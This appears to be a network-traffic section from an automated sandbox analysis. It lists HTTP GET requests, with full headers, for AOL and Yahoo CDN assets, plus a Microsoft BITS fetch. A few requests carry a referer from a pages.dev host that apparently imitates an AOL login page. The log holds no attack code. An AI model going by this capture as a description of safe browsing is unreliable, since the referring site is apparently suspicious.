Source: global traffic	HTTP traffic detected: GET /wm/mbr/images/checkbox-unchecked.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /wm/login/aol-favicon.png HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://testing-1g0.pages.dev/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "b12b87cffdae1bc42b921fcf2bd9cf4c"If-Modified-Since: Fri, 04 May 2018 04:41:39 GMT
Source: global traffic	HTTP traffic detected: GET /wm/login/aol-favicon.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /wm/login/aol-favicon.png HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9If-None-Match: "b12b87cffdae1bc42b921fcf2bd9cf4c"If-Modified-Since: Fri, 04 May 2018 04:41:39 GMT
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: www.aol.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/benji/benji-2.1.46.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/vzm/cs_1.6.1.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /nn/lib/metro/g/myy/advertisement_0.0.19.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td-app-aol-production/assets/v1/css/layout/main.289df0da.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td-app-aol-production/assets/v1/css/custom.5fcdebca.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /td-app-aol-production/assets/v1/css/layout/homepage_v2.450ca5fa.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/common.52199b28fa7ca442.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/aol_footer.7ea76f4ec7bd00ce.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/dispatcher.35f949ab045720f0.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/special_event.2b279353b9563d0a.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/notification_banner.ae48c4e59d83a951.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/dl.83a88a4e4e6cf5eb.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/gam.03794bc12e05390f.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/stream.b51cf15ff5cfd424.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/weather.9fd2039b03cca64a.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/aol_header.8f2cf9375f417c47.css HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/images/weather/large/28-mostly-cloudy-day.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/images/icons/elections-2024.svg HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/images/weather/small/30-partly-cloudy-day.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/images/weather/small/12-rain.svg HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/wafer-core.0a677c8dde5a4efd.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/vendor-glide.5d4589fcc2e985fc.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/polyfills.570a7e8b6540e7fd.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/utils.9111c432fb133fce.js HTTP/1.1Host: s.aolcdn.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/fonts/opensans/VF/OpenSans-VF.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.aol.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://s.aolcdn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/fonts/poppins/Poppins-Semibold.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.aol.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://s.aolcdn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/fonts/poppins/Poppins-Medium.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.aol.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://s.aolcdn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/fonts/poppins/Poppins-Bold.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.aol.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://s.aolcdn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/fonts/poppins/Poppins-Regular.woff2 HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://www.aol.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://s.aolcdn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/images/weather/large/28-mostly-cloudy-day.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /caas-assets-production/assets/v1/images/icons/elections-2024.svg HTTP/1.1Host: s.aolcdn.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/images/weather/small/12-rain.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /cv/apiv2/aolfp/images/weather/small/30-partly-cloudy-day.svg HTTP/1.1Host: s.yimg.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-dl-1.7.0.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-toggle-1.15.4.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-tabs-1.12.6.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-autocomplete-1.31.8.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-rapid-1.10.8.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /aaq/wf/wf-video-3.1.2.js HTTP/1.1Host: s.yimg.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://www.aol.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
